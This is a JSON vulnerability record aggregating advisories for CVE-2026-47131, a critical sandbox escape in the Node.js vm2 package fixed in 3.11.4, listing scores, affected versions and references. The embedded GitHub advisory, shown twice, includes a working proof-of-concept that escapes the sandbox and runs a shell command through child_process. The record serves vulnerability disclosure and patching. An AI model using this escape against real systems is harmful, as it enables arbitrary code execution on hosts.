{"id":"CVE-2026-47131","aliases":["CLSA-2026-1787860907","EUVD-2026-36441","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v6mx-mf47-r5wg","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47131"],"status":"published","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\"), Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00757,"percentile":0.55627,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-913"],"published":"2026-05-29T17:33:58Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.4"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.11.3-aikido.2","3.9.17-aikido.13","3.11.3-aikido.3","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.11.3-root.io.2","3.9.17-root.io.13","3.11.3-root.io.3","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.3"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.11.3-aikido.2"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.11.3-aikido.3"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.11.3-root.io.2"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.11.3-root.io.3"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47131","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v6mx-mf47-r5wg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47131.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47131","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\"), Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:14:17.037Z","modified":"2026-06-13T03:55:54.45Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T13:36:40.478484Z"}],"euvd":[{"id":"EUVD-2026-36441","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\"), Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:14:17Z","modified":"2026-06-13T03:55:54Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:43.222Z"}],"ghsa":[{"id":"GHSA-v6mx-mf47-r5wg","title":"vm2 has a Sandbox Escape issue","description":"### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape → RCE","status":"published","published":"2026-05-29T17:33:58Z","modified":"2026-06-12T20:49:03Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-47131","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\"), Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T15:16:27.87Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:12:23.846948Z"}],"osv":[{"id":"CVE-2026-47131","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\"), Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:14:17.037Z","modified":"2026-10-28T02:31:04.18486319Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-v6mx-mf47-r5wg","title":"vm2 has a Sandbox Escape issue","description":"### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape → RCE","status":"published","published":"2026-05-29T17:33:58Z","modified":"2026-06-12T21:00:09.243785811Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:56.981655Z"},{"id":"ROOT-APP-NPM-CVE-2026-47131","title":"CVE-2026-47131 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47131 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:06.436918446Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}